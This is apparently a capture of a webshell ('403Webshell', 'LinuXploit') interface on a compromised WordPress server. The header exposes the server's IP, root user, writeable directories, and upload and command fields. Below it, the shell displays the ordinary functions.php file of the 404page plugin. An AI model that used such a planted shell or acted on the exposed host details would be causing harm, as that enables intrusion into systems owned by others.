403Webshell
Server IP : 65.109.86.83  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/404page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/404page/functions.php
<?php

/**
 * The 404page Plugin Functions
 *
 * @since 11.0.0
 *
 **/

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


// this function can be used by a theme to check if there's an active custom 404 page
function pp_404_is_active() {

  return pp_404page()->pp_404_is_active();

}


// this function can be used by a theme to activate native support
function pp_404_set_native_support() {

  pp_404page()->pp_404_set_native_support();

}


// this function can be used by a theme to get the title of the custom 404 page in native support
function pp_404_get_the_title() {

  return pp_404page()->pp_404_get_the_title();

}


// this function can be used by a theme to print out the title of the custom 404 page in native support
function pp_404_the_title() {

  pp_404page()->pp_404_the_title();

}


// this function can be used by a theme to get the content of the custom 404 page in native support
function pp_404_get_the_content() {

  return pp_404page()->pp_404_get_the_content();

}


// this function can be used by a theme to print out the content of the custom 404 page in native support
function pp_404_the_content() {

  return pp_404page()->pp_404_the_content();

}


// this function returns the page id of the selected 404 page - in a multilingual environment this returs the id of the page in the current language
function pp_404_get_page_id() {

  return pp_404page()->get_page_id();

}


// this function returns an array of page ids in all languages
function pp_404_get_all_page_ids() {

  return pp_404page()->get_all_page_ids();

}

/**
 * return URL that caused the 404 error for frontend
 * used by shortcode and block
 *
 * @since  11.4.0
 * @access public
 * @param  string $type
 * @return string
 */
function pp_404_get_the_url( $type ) {

	$url = '';

	if ( is_array( $type ) ) {

		$type = $type[0];

	}

	if ( 'page' == $type ) {

		$url = trim( pp_404page()->get_404_url( 'path' ), '/' );

	} elseif ( 'domainpath' == $type ) {

		$url = pp_404page()->get_404_url( 'host' ) . pp_404page()->get_404_url( 'path' );

	} else {

		$url = pp_404page()->get_404_url( 'full' );

	}


	return esc_url( $url );

}

Youez - 2016 - github.com/yon3zu
LinuXploit